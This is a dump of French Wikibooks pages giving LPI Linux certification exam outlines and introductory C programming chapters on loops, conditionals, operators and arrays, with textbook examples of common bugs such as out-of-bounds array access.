(niveau 1) du Linux Professional Institute™. Il y a 3 niveaux de certifications LPI™ (Administrateur débutant, Administrateur intermédiaire, et Administrateur expert) et chaque niveau nécessite de passer deux examens. Ce livre concerne seulement la préparation du second examen pour être certifié Administrateur débutant ('''LPIC1 examen 102'''). Ce cours n'a pas une approbation officielle de LPI. * [[Objectifs détaillés (LPIC102)|Objectifs détaillés]] L'examen 102 de la Certification LPI niveau 1 porte sur les points suivants : * [[Noyau Linux (LPIC102)|Noyau Linux]] ** 1.105.1 Contrôle et interrogation du noyau et des modules durant le fonctionnement ** 1.105.2 Configuration, construction et installation d'un noyau sur mesure et de ses modules * [[Démarrage, initialisation, arrêt système et niveaux d'exécution (LPIC102)|Démarrage, initialisation, arrêt système et niveaux d'exécution]] ** 1.106.1 Démarrage du système ** 1.106.2 Changement de niveau d'exécution et éteindre ou redémarrer le système * [[Impression (LPIC102)|Impression]] ** 1.107.2 Gestion des imprimantes et des queues d'imprimantes ** 1.107.3 Impression de fichiers ** 1.107.4 Installation et configuration des imprimantes locales et distantes * [[Documentation (LPIC102)|Documentation]] ** 1.108.1 Utiliser et gérer un système de documentation ** 1.108.2 Trouver la documentation Linux sur Internet ** 1.108.5 Informer les utilisateurs sur le fonctionnement du système * [[Shells, scripts, programmation, and compilation (LPIC102)|''Shells'', scripts, programmation, et compilation]] ** 1.109.1 Configurer et utiliser l'environnement du ''shell'' ** 1.109.2 Configurer et écrire des scripts simples * [[Tâches de gestion systéme (LPIC102)|Tâches de gestion systéme]] ** 1.111.1 Gérer les comptes utilisateurs et les groupes et les fichiers associés ** 1.111.2 Optimiser l'environnement utilisateur et les variables d'environnement système ** 1.111.3 Configurer et utiliser les fichiers de logs pour répondre aux besoins de sécurité et d'administration ** 1.111.4 Automatiser les tâches d'administration système en planifiant des travaux à l'avance ** 1.111.5 Maintenance d'une stratégie de sauvegarde de données efficace ** 1.111.6 Maintenance de la date du système * [[Bases réseau (LPIC102)|Bases réseau]] ** 1.112.1 Fondamentaux de TCP/IP ** 1.112.3 Configuration et résolution de problèmes TCP/IP ** 1.112.4 Configuration de Linux comme client PPP * [[Services réseau (LPIC102)|Services réseau]] ** 1.113.1 Configuration et gestion de ''inetd'', ''xinetd'' et des services en relation ** 1.113.2 Installation et modification d'une configuration simple de Sendmail ** 1.113.3 Installation et modification d'une configuration simple de Apache ** 1.113.4 Gestion adéquate de NFS et de Samba ** 1.113.5 Installation et modification d'une configuration simple de services DNS ** 1.113.7 Installation d'un shell sécurisé (OpenSSH) * [[Securité (LPIC102)|Securité]] ** 1.114.1 Effectuer des tâches d'administration pour la securité ** 1.114.2 Sécuriser un système ** 1.114.3 Mettre en place la sécurité au niveau utilisateur == Voir aussi == * [[LPIC1 examen 101]] == Liens externes == * [https://www.lpi.org/fr/tasks_102.html Tâches] * [https://www.lpi.org/fr/obj_102.html Objectifs] [[en:LPI Linux Certification/LPIC1 Exam 102]] LPIC2 examen 201 413 29221 2006-01-17T21:50:25Z JMRyan 1016 Lien à la version anglaise. {{LPIC}} {{Avertissement LPI}} Ce livre fait partie de la '''[[Certifications Linux LPI|certification Linux]]''' de Linux Professional Institute (LPI). Il est destiné à aider à la préparation de l'examen 201 pour la certification LPIC1 (niveau 2) du Linux Professional Institute™. Il y a 3 niveaux de certifications LPI™ (Administrateur débutant, Administrateur intermediaire, et Administrateur expert) et chaque niveau nécessite de passer deux examens. Ce livre concerne seulement la préparation du premier examen pour être certifié Administrateur intermédiaire ('''LPIC2 examen 201'''). Ce cours n'a pas une approbation officielle de LPI. * [[Objectifs détaillés (LPIC201)|Objectifs détaillés]] L'examen 201 de la Certification LPI niveau 2 porte sur les points suivants : * [[Noyau Linux (LPIC201)|Noyau Linux]] ** 2.201.1 Composants Noyaux ** 2.201.2 Compilation du noyau ** 2.201.3 Mise à jour du noyau ** 2.201.4 Adaptation du noyau * [[Démarrage du systéme (LPIC201)|Démarrage du systéme]] ** 2.202.1 Adaptation du démarrage du système et de la séquence de démarrage ** 2.202.2 Restauration du système * [[Systéme de Fichier (LPIC201)|Systéme de Fichier]] ** 2.203.1 Intervenir sur le système de fichiers Linux ** 2.203.2 Maintenir un système de fichiers Linux ** 2.203.3 Créer et configurer les options du système de fichiers * [[Matériel (LPIC201)|Matériel]] ** 2.204.1 Configuration du RAID logiciel ** 2.204.2 Ajout de nouveaux matériels ** 2.204.3 Configuration du logiciel et du noyau ** 2.204.4 Configurer les périphériques PCMCIA * [[Partage de fichiers et de services (LPIC201)|Partage de fichiers et de services]] ** 2.209.1 Configurer un serveur Samba ** 2.209.2 Configurer un serveur NFS * [[Maintenance du système (LPIC201)|Maintenance du système]] ** 2.211.1 Authentification sur le système ** 2.211.2 Création de paquetages logiciel ** 2.211.3 Opérations de sauvegarde * [[Personnalisation du système et automatisation (LPIC201)|Personnalisation du système et automatisation]] ** 2.213.1 Automatiser des tâches avec des scripts * [[Dépannage (LPIC201)|Dépannage]] ** 2.214.2 Création de supports de récupération ** 2.214.3 Identification des étapges de démarrage ** 2.214.4 Dépannage de LILO ** 2.214.5 Dépannage géneral ** 2.214.6 Dépannage des ressources du système ** 2.214.8 Dépannage des configurations d'environnement == Voir aussi == * [[LPIC2 examen 202]] == Liens externes == * [https://www.lpi.org/fr/tasks_201.html Tâches] * [https://www.lpi.org/fr/obj_201.html Objectives] [[en:LPI Linux Certification/LPIC2 Exam 201]] LPIC2 examen 202 414 29225 2006-01-17T21:56:20Z JMRyan 1016 (Lien à la version anglaise. {{LPIC}} {{Avertissement LPI}} Ce livre fait partie de la '''[[Certifications Linux LPI|certification Linux]]''' de Linux Professional Institute (LPI). Il est destiné à aider à la préparation de l'examen 202 pour la certification LPIC1 (niveau 2) du Linux Professional Institute™. Il y a 3 niveaux de certifications LPI™ (Administrateur débutant, Administrateur intermediaire, et Administrateur expert) et chaque niveau nécessite de passer deux examens. Ce livre concerne seulement la préparation du second examen pour être certifié Administrateur intermédiaire ('''LPIC2 examen 202'''). Ce cours n'a pas une approbation officielle de LPI. * [[Objectifs détaillés (LPIC202)|Objectifs détaillés]] L'examen 202 de la Certification LPI niveau 2 porte sur les points suivants : * [[Gestion de réseaux (LPIC202)|Gestion de réseaux]] ** 2.205.1 Configurations de réseau simple ** 2.205.2 Configurations de réseau avancées et dépannage * [[Mail & News (LPIC202)|Mail & News]] ** 2.206.1 Configuration d'un gestionnaire de listes de diffusion ** 2.206.2 Utiliser Sendmail ** 2.206.3 Gérer le trafic mail ** 2.206.4 Gestion d'un serveur de news * [[DNS (LPIC202)|DNS]] ** 2.207.1 Configuration simple de BIND 8 ** 2.207.2 Création et maintenance de zones DNS ** 2.207.3 Securisation d'un server DNS * [[Services web (LPIC202)|Services web]] ** 2.208.1 Mise en place d'un serveur web ** 2.208.2 Maintenance d'un serveur web ** 2.208.3 Mise en place d'un serveur proxy * [[Gestion réseau des postes client (LPIC202)|Gestion réseau des postes client]] ** 2.210.1 Configuration du DHCP ** 2.210.2 Configuration de NIS ** 2.210.3 Configuration de LDAP ** 2.210.4 Authentication avec PAM * [[Sécurité du système (LPIC202)|Sécurité du système]] ** 2.212.2 Configuration d'un routeur ** 2.212.3 Securisation d'un serveur FTP ** 2.212.4 Secure shell (OpenSSH) ** 2.212.5 TCP_wrappers ** 2.212.6 Tâches de sécurité * [[Dépannage réseau (LPIC202)|Dépannage réseau]] ** 2.214.7 Dépannage réseau == Voir aussi == * [[LPIC2 examen 201]] == Liens externes == * [https://www.lpi.org/fr/tasks_202.html Tâches] * [https://www.lpi.org/fr/obj_202.html Objectifs] [[en:LPI Linux Certification/LPIC2 Exam 202]] Wikilivres:Recentchanges 457 12167 2004-12-26T17:29:28Z Yann 2 #REDIRECT [[MediaWiki:Recentchangestext]] #REDIRECT [[MediaWiki:Recentchangestext]] MediaWiki:Sitenotice 458 39504 2006-04-02T21:29:43Z Jean-Jacques MILAN 114 <!--NE PAS SUPPRIMER CE WARNING. Attention ! Le [[Mediawiki:Sitenotice]] ne s'affiche pour les anonymes que lorsque [[MediaWiki:Anonnotice]] est désactivé.--> Programmation C Itérations 459 39874 2006-04-09T07:36:53Z Dhenry 47 /* Arrêt et continuation des boucles */ revert {{Programmation C}} ==Boucle for== ===Syntaxe=== <pre> for(initialisation ; condition ; itération) bloc </pre> Une boucle '''for''' commence par l'''initialisation'', puis exécute le ''bloc'' de code tant que la ''condition'' est vérifiée et en appelant l'''itération'' après chaque ''bloc''. On peut tout de suite remarquer que la boucle '''for''' du C est beaucoup plus puissante qu'une boucle '''for''' ''classique'', dans le sens où elle ne correspond pas forcément à un nombre fini de tours de boucle. ===Exemples=== ====Exemple 1==== <pre> for(i = 0 ; i < 10 ; i++) { printf("%d\n", i); } </pre> Cet exemple est une boucle '''for''' ''normale'', l'indice de boucle ''i'' est incrémenté à chaque tour et le bloc ne fait qu'afficher l'indice. Ce code affiche donc les 10 premiers entiers en partant de 0. Le bloc de code étant réduit à une instruction, on aurait pu écrire : <pre> for(i = 0 ; i < 10 ; i++) printf("%d\n", i); </pre> ====Exemple 2==== <pre> i = 0; for( ; i != 1 ; i = rand() % 4) { printf("je continue\n"); } </pre> Ce deuxième exemple montre plusieurs choses : #l'initialisation de la boucle a été omise, en fait n'importe laquelle des trois parties peut l'être (et même les trois à la fois, ce qui résulte en une boucle infinie) ; #l'expression itération est '''réellement''' une expression, on peut y faire appel à des fonctions ; #le nombre d'itérations n'est pas fixe, le programme affichera « je continue » un nombre (pseudo-)aléatoire de fois. ==Boucle while== ===Syntaxe=== <pre> while( condition ) bloc </pre> Une boucle '''while''' exécute le ''bloc'' d'instructions tant que la ''condition'' est vérifiée. ===Exemple=== <pre> i = 0 while( i < 10 ) { printf("%d\n", i); i = i + 1; } </pre> Cet exemple est le même que celui vu précédement pour la boucle '''for''', il affiche les dix premiers entiers à partir de 0. ==Boucle do-while== ===Syntaxe=== <pre> do bloc while( condition ); </pre> Cette boucle est une légère variante de la précédente. Elle exécute donc le bloc au moins une fois, et ce jusqu'à ce que la condition soit fausse (ou tant que la condition est vraie). ==Arrêt et continuation des boucles== Il arrive fréquemment qu'en évaluant un test à l'intérieur d'une boucle, on aimerait arrêter brutalement la boucle ou alors « sauter » certains cas non significatifs. C'est le rôle des instructions <code>break</code> et <code>continue</code>. '''break''' permet de sortir immédiatement d'une boucle <code>for</code>, <code>while</code> ou <code>do-while</code>. À noter que si la boucle se trouve elle-même dans une autre boucle, seule la boucle où le l'instruction <code>break</code> se trouvait est stoppée. '''continue''' permet de recommencer la boucle depuis le début du bloc. Dans le cas de la boucle <code>for</code>, le bloc lié à l'incrémentation sera exécuté, puis dans tous les cas, la condition sera testée. ==Saut inconditionnel (goto)== Beaucoup voient en cette instruction un blasphème de la programmation structurée, que seuls quelques esprits limités oseraient utiliser dans leur programme. Un élément de réponse face à l'aversion que provoque la vue de cette instruction, est qu'en cas d'abus le code est illisible, rappelant d'autres langages tristement célèbres pour avoir surexploité et imposé des constructions sibyllines à l'aide de <code>goto</code> (notamment en assembleur et en BASIC). Soit, si cette instruction existe, c'est qu'elle a son intérêt. Cette instruction permet donc tout simplement de continuer l'exécution du programme à un autre endroit, '''dans la même fonction'''. On l'utilise de la manière suivante : <pre> goto label; </pre> Où ''label'' est un identificateur quelconque. Cet identificateur devra être définit quelque part dans la même fonction, avec la syntaxe suivante : <pre> label: </pre> Ce label peut être mis à n'importe quel endroit dans la fonction, y compris dans un autre bloc que là où sont utilisés la ou les instructions <code>goto</code> pointant vers ce label. Les labels doivent être uniques au sein d'une même fonction, mais on peut les réutiliser dans une autre fonction. Un cas où l'emploi d'une instruction <code>goto</code> est tout à fait justifié, par exemple, est pour simuler le déclenchement d'une exception, pour sortir rapidement de plusieurs boucles imbriquées. <pre> while( 1 ) { struct Evenement_t * event; attend_evenement(); while( (event = retire_evenement()) ) { switch( event->type ) { case FIN_TRAITEMENT: goto fin; /* ... */ } } } fin: /* ... */ </pre> Dans ce cas de figure, il serait possible d'utiliser aussi un booléen, bien que ce genre de construction ne nuit absolument pas à la lisibilité du programme et est tout aussi efficace, sinon plus, pourquoi s'en priver ? Attention toutefois au fait, et au risque de le répéter, qu'un usage abusif de cette instruction nuit grandement à la lisibilité d'un programme. Programmation C Tests 460 43968 2006-06-06T08:17:21Z Alveric 1610 Syntaxe et changemetn de "variable" en "expression" {{Programmation C}} Les tests permettent d'effectuer des opérations différentes suivant qu'une condition est vérifiée ou non. ==Test if== ===Syntaxe=== <pre> if ( condition ) instructions else autre instructions </pre> Si la ''condition'' est vérifiée, alors on exécute le ''bloc'' d'instructions, sinon on exécute l'''autre bloc''. La clause '''else''' est facultative, qui plus est une clause '''else''' se réfère toujours à la dernière instruction '''if''' rencontrée. Considérez le code, mal indenté, suivant : <pre> /* Ce code est volontairement indenté de manière ambiguë */ if( condition ) if( autre_condition ) /* ... */ ; else /* ... */ ; </pre> Dans ce dernier exemple la clause '''else''' se rapportait bien-sûr au second '''if''' selon la règle énoncée ci-dessus. Un bon compilateur devrait vous avertir que cette construction est ambiguë, et que vous devriez la réécrire : <pre> if( condition ) { if( autre_condition ) /* ... */ ; } else /* ... */ ; </pre> D'ailleurs, lorsqu'un '''if''' contient une instruction (<code>for</code>, <code>do</code>, <code>while</code>, <code>switch</code>, <code>goto</code>, <code>return</code>, etc.) il est conseillé de la mettre entre accolades. ==Test switch== Cette instruction permet de tester si une expression coïncide avec un certain nombre de constantes, et d'exécuter une action par défaut dans le cas où aucune valeur ne correspond à celle de l'expression. Cela permet un traitement beaucoup plus efficace et lisible qu'une succession de <code>if/else</code> imbriqués. Insistons sur le terme ''constante''&nbsp;: il est en effet impossible d'utiliser des expressions dont la valeur n'est pas connue à la ''compilation'' (c'est à dire de variable dans les instructions <code>case</code>). ===Syntaxe=== <pre> switch( expression ) { case valeur1: bloc1 case valeur2: bloc2 ... case valeurN: blocN default: blocD } </pre> Compare la valeur de l'''expression'' à celles de ''valeur1'', ''valeur2'', ..., ''valeurN''. En cas d'égalité entre ''expression'' et ''valeurI'' les blocs sont exécutés séquentiellement à partir de ''blocI'', et ce jusqu'à la fin de l'instruction ''switch''. Si ''expression'' est égale à ''valeur2'', dans cet exemple, les blocs ''bloc2'' à ''blocN'' et même ''blocD'' seront exécutés. Pour empécher ce comportement on utilise l'instruction ''break'', que l'on peut placer à n'importe quel endroit pour sortir (aller à la fin) de l'instruction ''switch''. En général, on retrouve plus fréquemment l'instruction ''switch'' écrite de la sorte : <pre> switch( expression ) { case valeur1: bloc1 break; case valeur2: bloc2 break; ... case valeurN: blocN /* pas de break; */ default: blocD } </pre> C'est en fait tellement rare de ne pas mettre de ''break'' entre les différents cas, qu'il est conseillé de mettre un commentaire pour les cas où cette instruction est délibérément omise, ça permet de bien signaler au lecteur qu'il ne s'agit pas d'un oubli. ==Expression conditionnelle== <pre> test ? expression_si_vrai : expression_si_faux </pre> ===Exemple=== <pre> int main(int argc, char **argv) { printf("%s\n", argc < 2 ? "vous n'avez pas donné d'argument" : "vous avez donné au moins un argument"); } </pre> Ce mini-programme teste si le nombre d'arguments passé à <code>main</code> est inférieur à 2 avec l'expression <code>argc < 2</code> et renvoie <code>"vous n'avez pas donné d'argument"</code> si l'expression est vraie et <code>"vous avez donné au moins un argument"</code> sinon. Le résultat de l'évaluation est alors passé à la fonction <code>printf</code> qui affiche le résultat. Programmation C Opérateurs 461 46476 2006-06-29T11:52:18Z 192.134.140.250 /* Promotion */ soi-même {{Programmation C}} ==Les opérateurs du C== Les opérateurs sont présentés par ordre de précédence. {| cellpadding="5" cellspacing="0" style="border:thin black solid" | style="background:#D0E2EE; text-align:center; font-weight:bold;" |opérateur | style="background:#ECE5CA; text-align:center; font-weight:bold;" |arité | style="background:#D0E2EE; text-align:center; font-weight:bold;" |associativité | style="background:#ECE5CA; text-align:center; font-weight:bold;" |description |- | bgcolor="#EAF5FB" |<code style="background:inherit">( )</code> | bgcolor="#FAF9EC" | | bgcolor="#EAF5FB" |gauche vers la droite (GD) | bgcolor="#FAF9EC" |parenthésage |- | bgcolor="#EAF5FB" |<code style="background:inherit">() [] . -></code> | bgcolor="#FAF9EC" | | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |appel de fonction, index de tableau, membre de structure, pointe sur membre de structure |- | bgcolor="#EAF5FB" |<code style="background:inherit">!</code> | bgcolor="#FAF9EC" |unaire | bgcolor="#EAF5FB" |droite vers la gauche (DG) | bgcolor="#FAF9EC" |négation booléenne |- | bgcolor="#EAF5FB" |<code style="background:inherit">~</code> | bgcolor="#FAF9EC" |unaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |négation binaire |- | bgcolor="#EAF5FB" |<code style="background:inherit">++ --</code> | bgcolor="#FAF9EC" |unaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |incrémentation et décrémentation |- | bgcolor="#EAF5FB" |<code style="background:inherit">-</code> | bgcolor="#FAF9EC" |unaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |opposé |- | bgcolor="#EAF5FB" |<code style="background:inherit">(type)</code> | bgcolor="#FAF9EC" |unaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |opérateur de transtypage (overcast, ou cast) |- | bgcolor="#EAF5FB" |<code style="background:inherit">*</code> | bgcolor="#FAF9EC" |unaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |opérateur de déréférençage |- | bgcolor="#EAF5FB" |<code style="background:inherit">&</code> | bgcolor="#FAF9EC" |unaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |opérateur de référençage |- | bgcolor="#EAF5FB" |<code style="background:inherit">sizeof</code> | bgcolor="#FAF9EC" |unaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |fournit la taille en nombre de "char" de l'expression (souvent en octet mais pas toujours, mais sizeof(char) == 1 par définition, voir [[Programmation C Types de base#Caractères | Caractères]]) |- | bgcolor="#EAF5FB" |<code style="background:inherit">* / %</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |multiplication, division, modulo (reste de la division) |- | bgcolor="#EAF5FB" |<code style="background:inherit">+ -</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |addition, soustraction |- | bgcolor="#EAF5FB" |<code style="background:inherit">>> <<</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |décalages de bits |- | bgcolor="#EAF5FB" |<code style="background:inherit">> >= < <=</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |comparaisons |- | bgcolor="#EAF5FB" |<code style="background:inherit">== !=</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |égalité/différence |- | bgcolor="#EAF5FB" |<code style="background:inherit">&</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |'''et''' binaire |- | bgcolor="#EAF5FB" |<code style="background:inherit">^</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |'''ou''' exclusif binaire |- | bgcolor="#EAF5FB" |<code style="background:inherit"><nowiki>|</nowiki></code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |'''ou''' inclusif binaire |- | bgcolor="#EAF5FB" |<code style="background:inherit">&&</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |'''et''' logique avec séquencement |- | bgcolor="#EAF5FB" |<code style="background:inherit"><nowiki>||</nowiki></code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |'''ou''' logique avec séquencement |- | bgcolor="#EAF5FB" |<code style="background:inherit">? :</code> | bgcolor="#FAF9EC" |ternaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |'''si...alors...sinon''' |- | bgcolor="#EAF5FB" |<code style="background:inherit">= += -= *= /= %= ^= &amp;= |= &gt;&gt;= &lt;&lt;=</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |DG | bgcolor="#FAF9EC" |affectation |- | bgcolor="#EAF5FB" |<code style="background:inherit">,</code> | bgcolor="#FAF9EC" |binaire | bgcolor="#EAF5FB" |GD | bgcolor="#FAF9EC" |séquencement |} ===Post/pré incrémentation/décrémentation=== C'est un concept quelque peu sibyllin du C. Incrémenter ou décrémenter de un est une opération extrêmement courante. Écrire à chaque fois '<code>variable = variable + 1</code>' peut-être très pénible à longue. Le langage C a donc introduit des opérateurs raccourcis pour décrémenter ou incrémenter n'importe quel type atomique (gérable directement par le processeur : c'est à dire pas un tableau, ni une structure ou une union). Il s'agit des opérateurs '<code>++</code>' et '<code>--</code>', qui peuvent être utilisés de manière préfixée ou postfixée (avant ou après la variable). Utilisé de manière préfixée, l'opérateur modifie d'abord la variable, puis utilise cette nouvelle valeur dans l'expression, tandis qu'écrit de manière postfixée, la valeur de la variable n'est modifiée qu'à la fin de l'expression, qui utilise donc la valeur courante de la variable. Exemples : <pre> int i = 0, j; j = i++; /* j vaut 0 et i vaut 1 */ j = --i; /* j vaut 0 et i vaut 0 */ </pre> À noter que si l'objet sur lequel s'applique un tel opérateur apparaît plusieurs fois avant un point de séquencement (généralement la fin d'une instruction), alors le résultat est imprévisible. Le code qui suit est '''imprévisible''' et ce simplement en changeant les options d'un même compilateur&nbsp;: <pre> /* Le code qui suit est imprévisible */ j = i++ + ++i; /* Ou de façon moins évidente */ j = f(++i, 22, i); /* De même que ceci n'est pas conseillé */ i = i++; </pre> ===Promotion=== Il s'agit d'un aspect assez rebutant, mais qui permet une très bonne cohérence et une simplification des expressions. La promotion, comme son nom l'indique, est un mécanisme qui permet de convertir implicitement les '''nombres''' dans le format le plus grand utilisé dans l'expression. L'exemple classique est lorsqu'on mélange des nombres réels avec des nombres entiers. Par exemple l'expression '<code>2 / 3.</code>' est de type double et vaudra effectivement deux tiers (0,666666...). L'expression '<code>2 * a / 3</code>' calculera les deux tiers de la variable '<code>a</code>', et arrondira automatiquement à l'entier par défaut, les calculs ne faisant intervenir que des intructions sur les entiers (en supposant que '<code>a</code>' soit un entier). À noter que l'expression '<code>2 / 3 * a</code>' vaudra... toujours zéro ! Plus subtile, l'expression '<code>2 * a / 3.</code>', en supposant toujours que ''a'' soit un entier, effectuera une multiplication entière entre 2 et a, puis promouvra le résultat en réel (<code>double</code>) puis effectuera la division réelle avec trois, pour obtenir un résultat réel lui-aussi. Enfin un cas où les promotions peuvent surprendre, c'est lorsqu'on mélange des entiers signés et non-signés, plus particulièrement dans les comparaisons. Considérez le code suivant : <pre> /* Ce code contient un effet de bord sibyllin */ unsigned long a = 23; signed char b = -23; printf( "a %c b\n", a < b ? '<' : (a == b ? '=' : '>') ); </pre> De toute évidence <code>a</code> est supérieur à <code>b</code> dans cet exemple. Et pourtant, si ce code est exécuté sur certaines architecures, il affichera <code>a &lt; b</code>, justement à cause de cette promotion. Tout d'abord dans la comparaison <code>a &lt; b</code>, le type de <code>a</code> est "le plus grand", donc <code>b</code> est promu en <code>unsigned long</code>. C'est en fait ça le problème&nbsp;: -23 est une valeur négative, et la conversion d'une valeur négative en un type non signé se fait modulo la valeur maximale représentable par le type non signé + 1. Si la valeur maximale pour le type <code>unsigned long</code> est 2<sup>32</sup>-1, alors -23 est converti modulo 2<sup>32</sup>, et devient 4294967273 (soit 2<sup>32</sup>-23). Dans ce cas là effectivement 23 < 4294967273, d'où ce résultat surprenant. À noter qu'on aurait eu le même problème si le type de <code>b</code> était <code>signed long</code>. En fait les types signés sont promus en non-signés, s'il y a au moins une variable non-signées dans l'expression, et que le type non-signé est "plus grand" que le type signé. Dans ce cas présent, il faut effectuer soi-même le transtypage : <pre> printf( "a %c b\n", (long) a < b ? '<' : ((long)a == b ? '=' : '>') ); </pre> La norme définit précisément les conversions arithmétiques et les promotions entières, se référer à elle pour les détails. ===Évaluation des expressions booléennes=== Le C ne possède pas de type booléen dédié<ref name="booleenC99">La norme C99 a ajouté le type <code>_Bool</code>, mais celui-ci est peu utilisé, l'usage des types entiers pour représenter les booléens en C étant très répandu (voir [[Langage C Types de base#Booléens|Booléens]]).</ref>. Dans ce langage n'importe quelle valeur différente de zéro est considérée vraie, zéro étant considéré comme faux. Ce qui veut dire que n'importe quelle expression peut être utilisée à l'intérieur des tests (entier, réels, pointeurs, tableaux, etc.). Cela peut conduire à des expressions pas toujours très claire, comme : <pre> int a = 0; int b = 2; if( a = b ) { /* Le code qui suit sera toujours exécuté ... */ } </pre> Dans cet exemple, on ne teste pas si ''a'' est égal à ''b'', mais on '''affecte''' la valeur de la variable ''b'' à la variable ''a''. Le résultat de l'expression étant 2, elle est donc toujours considérée vraie... Ce genre de raccourci est en général à éviter, et de nombreux compilateurs obligent à parenthéser ce genre d'expression sous peine d'émettre un avertissement. Une autre technique classique, lorsqu'une comparaison fait intervenir une constante, est de mettre la constante à gauche. De cette manière, si la comparaison se transforme par mégarde en affectation, cela provoqura une erreur à la compilation&nbsp;: <pre> if (0 == b) { /* Une instruction "0 = b" ne passerait pas */ } </pre> Les opérateurs logiques de comparaisons (&amp;&amp; et ||, similaires sémantiquement à leur équivalent binaire &amp; et |) évaluent leurs opérandes en '''circuit court'''. Dans le cas du ET logique (&amp;&amp;), si l'opérande gauche s'évalue à faux, on sait déjà que le résultat du ET sera faux et donc ce n'est pas la peine d'évaluer l'opérande droite. De la même manière si l'opérande gauche d'un OU logique (||) est évalué à vrai, le résultat sera aussi vrai et donc l'évaluation de l'opérande droite est inutile. Ceci permet d'écrire des expressions de ce genre, sans générer d'exception de l'unité arithmétique du processeur : <pre> if( z != 0 && a / z < 10 ) { printf("Tout va bien\n"); } </pre> == Notes == <references /> Programmation C Tableaux 462 44067 2006-06-07T08:00:51Z Alveric 1610 /* Exemples */ Débordement de tampon {{Programmation C}} Il existe deux types de tableaux : les tableaux statiques, dont la taille est connue à la compilation, et les tableaux dynamiques, dont la taille est connue à l'exécution. Nous ne nous intéresserons pour l'instant qu'aux tableaux statiques, les tableaux dynamiques seront présentés avec les [[Programmation C Pointeurs|pointeurs]]. ==Syntaxe== ===Déclaration=== <pre> T tableau[N]; </pre> Déclare un ''tableau'' de ''N'' éléments, les éléments étant de type ''T''. ''N'' doit être un nombre connu à la compilation, N ne peut pas être une variable. Pour avoir des tableaux dynamiques, il faut passer par l'allocation mémoire. ===Accès aux éléments=== <pre> tableau[i] </pre> <pre> i[tableau] </pre> Les deux syntaxes sont équivalentes et permettent d'accéder au ''i''-ème élément du ''tableau''. Un tableau est indicé de 0 à N - 1, cependant aucune vérification n'est faite sur les dépassements de capacité. À noter que la deuxième forme est '''très peu''' utilisée. ===Exemples=== <pre> int i; int tableau[10]; /* déclare un tableau de 10 entiers */ for(i = 0; i < 10; i++) /* boucle << classique >> pour le parcours d'un tableau */ { tableau[i] = i; /* chaque case du tableau reçoit son indice comme valeur */ } </pre> <pre> int tableau[1]; /* déclare un tableau d'un entier */ tableau[10] = 5; /* accède à l'élément d'indice 10 (qui ne devrait pas exister) */ printf("%d\n", tableau[10]); </pre> Ce deuxième exemple, non seulement peut compiler (le compilateur peut ne pas détecter le dépassement de capacité), mais peut aussi s'exécuter et afficher le « bon » résultat. '''Le langage C n'impose pas à une implémentation de vérifier les accès, en écriture comme en lecture, hors des limites d'un tableau'''&nbsp;; il précise explicitement qu'un tel code a un ''comportement indéfini'', donc que n'importe quoi peut se passer. En l'occurence, ce code peut très bien marcher comme on pourrait l'attendre, i.e. afficher <code>5</code>, ou causer un arrêt du programme avec erreur (si la zone qui correspondrait au 11<sup>ème</sup> élément du tableau est hors de la mémoire allouée au processus, le système d'exploitation peut détecter une tentative d'accès invalide à une zone mémoire, ce qui peut se traduire par une «&nbsp;erreur de segmentation&nbsp;» qui termine le programme), ou encore corrompre une autre partie de la mémoire du processus (dans le cas où le pseudo-11<sup>ème</sup> élément correspondrait à une partie de la mémorie du processus), ce qui peut modifier son comportement ultérieur de manière très difficile à prévoir. Ce code est donc un exemple d'un type de bogue très courant en langage C. S'il est facile à détecter dans ce code très court, il peut être très difficile à identifier dans du code plus complexe, où on peut par exemple essayer d'accéder à un indice <code>i</code> d'un tableau, la valeur de <code>i</code> pouvant varier suivant un flot d'exécution complexe, ou alors essayer de copier le contenu d'un tableau dans un autre, sans vérifier la taille du tableau de destination (ce dernier cas est connu sous le nom de ''débordement de tampon'', ''dépasement de capacité'', ou encore ''buffer overflow'' en anglais). '''Il est donc très important de s'assurer que tous les accès au contenu de tableaux, en lecture comme en écriture, se font dans les limites de ses bornes.''' ==Tableaux à plusieurs dimensions== Les tableaux vus pour l'instant étaient des tableaux à une dimension (''ie'' : des tableaux à un seul indice), il est possible de déclarer des tableaux possédant un nombre aussi grand que l'on veut de dimensions. Par exemple pour déclarer un tableau d'entiers à deux dimensions : <pre> int matrice[10][5]; </pre> Pour accèder aux éléments d'un tel tableau, on utilise une notation similaire à celle vue pour les tableaux à une dimension : <pre> matrice[0][0] = 5; </pre> affecte la valeur 5 à la case d'indice (0,0) du tableau. ==Initialisation des tableaux== Il est possible d'initialiser directement les tableaux lors de leur déclaration : <pre> int tableau[5] = { 1 , 5 , 45 , 3 , 9 }; </pre> initialise le ''tableau'' d'entiers avec les valeurs fournies entre accolades (<code>tableau[0] = 1;</code>, <code>tableau[1] = 5;</code>, etc.) À noter que si on ne spécifie aucune taille entre les crochets du tableau, le compilateur la calculera automatiquement pour contenir tous les éléments. La déclaration ci-dessus aurait pu s'écrire plus simplement : <pre> int tableau[] = { 1 , 5 